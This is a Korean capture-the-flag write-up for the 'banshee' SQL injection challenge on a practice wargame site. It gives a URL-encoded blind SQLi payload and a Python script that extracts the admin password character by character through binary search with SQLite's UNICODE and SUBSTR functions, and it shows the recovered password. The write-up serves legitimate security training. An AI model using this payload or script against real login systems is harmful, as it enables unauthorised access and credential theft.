banshee

banshee 문제를 풀기 위해서는 2가지 조건을 만족해야 한다.
첫 번째로는 $result['id'] 결과가 존재해야 하고
두 번째로는 $result['pw'] === $_GET['pw'] 결과가 참이어야 한다. ( admin 실제 패스워드를 알아야 한다. )


홑따옴표(’) 문자를 필터링하지 않고 있기 때문에 아래와 같이 Blind SQLi 쿼리 작성이 가능했다.
( admin 계정의 패스워드 길이는 8로 확인되었다. )

(페이로드) ?pw=%27%20OR%20id=%27admin%27%20AND%20LENGTH(pw)=8%20AND%20%271%27=%271


이후 아래 자동화 스크립트를 사용하여 “admin” 계정의 실제 패스워드 값을 추출하였다.
SQLITE3에서는 ASCII 함수가 없기 때문에 그대신 UNICODE 함수를 사용했다.
( 문자에 해당하는 10진수 ASCII 코드 값을 반환한다. )

import requests
import time
 
t_url = 'https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
 
for i in range(1, 9):
    low = 1
    high = 150
 
    while low <= high:
        mid = (low + high) // 2
        print(low, mid, high)
        payload = ( f"?pw=%27%20OR%20id=%27admin%27%20AND%20UNICODE(SUBSTR(pw,{i},1))>{mid}%20AND%20%271%27=%271" )
        r = requests.get(t_url + payload, cookies=cookie)
 
        if "login success!" in r.text:
            low = mid + 1
        else:
            high = mid - 1
 
        if low > high:
            password = password + chr(high + 1)
            numValue = numValue + str(high + 1) + ' '
 
            print(f"Extracted admins password : \n\t[+] {numValue}\n\t[+] {password}")
            break

추출한 패스워드는 0313091b로, pw 파라미터에 값을 입력하여 넘기면 BANSHEEE 문제도 클리어 성공이다.


🐛.. 🐛.. 🐛..